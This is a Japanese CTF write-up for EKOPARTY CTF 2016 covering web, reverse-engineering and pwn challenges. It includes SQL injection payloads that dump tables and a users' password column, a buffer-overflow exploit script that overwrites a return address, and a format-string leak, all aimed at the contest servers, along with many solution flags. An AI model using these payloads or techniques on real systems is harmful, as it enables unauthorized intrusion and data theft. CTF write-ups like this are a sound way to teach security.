EKOPARTY CTF 2016 供養(Writeup)

EKOPARTY CTF 2016に参加。575ptで182位。

Hidden inside EKO (misc, 50 points)

背景画像にFlagが書かれている。

EKO{th3_fl4g}

Mr. Robot (web, 25 points)

robots.txtにFlagの書かれたファイルへのパスがある。

EKO{robot_is_following_us}

RFC 7230 (web, 50 points)

ServerレスポンスヘッダにFlagがある。

$ curl -v https://ctf.ekoparty.org/static/files/for50_ed4b8625b6be1bd0.zip
*   Trying 52.204.197.190...
* Connected to ctf.ekoparty.org (52.204.197.190) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 692 certificates in /etc/ssl/certs
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_256_GCM_SHA384
*        server certificate verification OK
*        server certificate status verification SKIPPED
*        common name: ctf.ekoparty.org (matched)
*        server certificate expiration date OK
*        server certificate activation date OK
*        certificate public key: RSA
*        certificate version: #3
*        subject: CN=ctf.ekoparty.org
*        start date: Thu, 08 Sep 2016 22:26:00 GMT
*        expire date: Wed, 07 Dec 2016 22:26:00 GMT
*        issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3
*        compression: NULL
* ALPN, server accepted to use http/1.1
> GET /static/files/for50_ed4b8625b6be1bd0.zip HTTP/1.1
> Host: ctf.ekoparty.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: EKO{this_is_my_great_server}
< Date: Thu, 27 Oct 2016 23:36:39 GMT
< Content-Type: application/zip
< Content-Length: 20684
< Last-Modified: Tue, 25 Oct 2016 04:08:43 GMT
< Connection: keep-alive
< ETag: "580edacb-50cc"
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=63072000; preload
< Accept-Ranges: bytes
<

Super duper advanced attack (web, 100 points)

SQL injection問題。ユーザ定義変数にFlagがある。

' OR 1=1 --
' UNION SELECT table_name, column_name FROM information_schema.columns --
' UNION SELECT username, password FROM users --
' UNION SELECT @flag, @flag --
EKO{do_not_forget_session_variables}

Welcome to the dark side (fbi, 25 points)

Tor Browserで与えられたonionドメインにアクセスすると、HTMLソースコードにFlagがある。

<!-- 25 - EKO{buy_me_some_b0ts} -->

Metadata (fbi, 50 points)

アクセスしたonionドメインTLS証明書を見ると、subjectのOU(部門)にFlagがある。

50 - EKO{is_this_just_real_life_is_this_just_fantasy}

JVM (rev, 25 points)

JADデコンパイルする。1336までの総和がFlag。

user@vm-kali32:~$ unzip rev25_3100aa76fca4432f.zip
Archive:  rev25_3100aa76fca4432f.zip
  inflating: EKO.class

user@vm-kali32:~$ jad EKO.class
Parsing EKO.class...The class file version is 52.0 (only 45.3, 46.0 and 47.0 are supported)
 Generating EKO.jad
user@vm-kali32:~$ cat EKO.jad
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name:   EKO.java


public class EKO
{

    public EKO()
    {
    }

    public static void main(String args[])
    {
        int i = 0;
        for(int j = 0; j < 1337; j++)
            i += j;

        String s = (new StringBuilder()).append("EKO{").append(i).append("}").toString();
    }
}

user@vm-kali32:~$ python
Python 2.7.9 (default, Mar  1 2015, 12:57:24)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> sum(xrange(1337))
893116
EKO{893116}

F#ck (rev, 50 points)

F#で書かれた.NET形式実行ファイル。ILSpyでデコンパイルすると次のようなコードがある。

using Microsoft.FSharp.Core;
using System;
using System.Globalization;
using System.IO;

[CompilationMapping(SourceConstructFlags.Module)]
public static class Program
{
    [Serializable]
    internal class teArr@9 : FSharpFunc<int, string>
    {
        public string str;

        public int[] ccIndices;

        internal teArr@9(string str, int[] ccIndices)
        {
            this.str = str;
            this.ccIndices = ccIndices;
        }

        public override string Invoke(int i)
        {
            if (i == this.ccIndices.Length - 1)
            {
                return this.str.Substring(i);
            }
            int num = this.ccIndices[i];
            return this.str.Substring(num, this.ccIndices[i + 1] - num);
        }
    }

    public static string get_flag(string str)
    {
        int[] array = StringInfo.ParseCombiningCharacters(str);
        int num = array.Length;
        FSharpFunc<int, string> fSharpFunc = new Program.teArr@9(str, array);
        if (num < 0)
        {
            Operators.Raise<Unit>(new ArgumentException(LanguagePrimitives.ErrorStrings.InputMustBeNonNegativeString, "count"));
        }
        string[] array2 = new string[num];
        int num2 = 0;
        int num3 = num - 1;
        if (num3 >= num2)
        {
            do
            {
                array2[num2] = fSharpFunc.Invoke(num2);
                num2++;
            }
            while (num2 != num3 + 1);
        }
        string[] array3 = array2;
        Array.Reverse(array3);
        return string.Join("", array3);
    }

    [EntryPoint]
    public static int main(string[] argv)
    {
        if (argv.Length != 1)
        {
            ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("Usage: FlagGenerator.exe <FLAG>"));
        }
        else
        {
            string text = Program.get_flag("t#hs_siht_kc#f");
            if (string.Equals(text, argv[0]))
            {
                FSharpFunc<string, Unit> fSharpFunc = ExtraTopLevelOperators.PrintFormatLine<FSharpFunc<string, Unit>>(new PrintfFormat<FSharpFunc<string, Unit>, TextWriter, Unit, Unit, string>("EKO{%s}"));
                string func = text;
                fSharpFunc.Invoke(func);
            }
            else
            {
                ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("BAD ANSWER"));
            }
        }
        return 0;
    }
}

文字列を逆順に並び換えたものがFlag。

$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 't#hs_siht_kc#f'[::-1]
'f#ck_this_sh#t'
EKO{f#ck_this_sh#t}

RrEeGgEeXx (rev, 75 points)

.NET形式実行ファイル。ILSpyでデコンパイルすると次のような正規表現チェックがあり、これを満たす文字列がFlag。

if (Program.check_regex("^.{40}$", input) && Program.check_regex("\\w{3}\\{.*\\}", input) && Program.check_regex("_s.*e_", input) && Program.check_regex("\\{o{2}O{2}o{2}", input) && Program.check_regex("O{2}o{2}O{2}\\}", input) && Program.check_regex("sup3r_r3g3x_challenge", input))
EKO{ooOOoo_sup3r_r3g3x_challenge_OOooOO}

Ultra baby (pwn, 25 points)

スタックバッファオーバーフロー脆弱性がある。Partial overwriteでリターンアドレスをFlag関数の先頭に書き換える。

from minipwn import *

#s = connect_process(['./ultrababy'])
s = socket.create_connection(('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 55000))
print s.recv(8192)
s.sendall('A' * 0x18 + '\xf3' + '\n')
print s.recv(8192)
interact(s)
$ python test.py
Welcome, give me you best shot

EKO{Welcome_to_pwning_challs_2k16}

*** Connection closed by remote host ***

My first service I (pwn, 100 points)

Format string bugがある。次のようにしてスタック上のFlagが読める。

$ nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 35000
Welcome to my first service
Please input the secret key: %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Invalid key: (nil).0xa.(nil).(nil).(nil).0xa.(nil).0x454b4f7b.0x4c614269.0x67426566.0x3072647d.(nil).0x25702e25.0x702e2570.0x2e25702e.0x25702e25.0x702e2570.0x2e25702e.0x25702e25.0x702e2570.
$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "454b4f7b4c614269674265663072647d".decode('hex')
'EKO{LaBigBef0rd}'

所感

他に解きたかった問題は以下。

  • Congested service (misc, 100 points)
    • DCCPで接続する問題
  • X-Flag (misc, 150 points)
    • TCP 6000でX11パケットが飛んでくる問題
  • Carder (web, 150 points)
  • Url shortener (web, 200 points)
  • Find me (fbi, 100 points)
  • Secure Upload Hidden Service (fbi, 200 points)
  • Old times (rev, 100 points)
    • IBM OS/400 save file data(拡張子SAVF)を読む問題
  • Fuckzing reverse (rev, 250 points)
  • Bleeding (pwn, 50 points)
  • My first service II (pwn, 300 points)
  • Certified Excel Hacker (for, 50 points)
    • パスワード付きのVBAマクロを読む問題 隠しシートがあったらしい
  • Damaged (for, 75 points)
    • 破損したbmpファイルを読む問題

関連リンク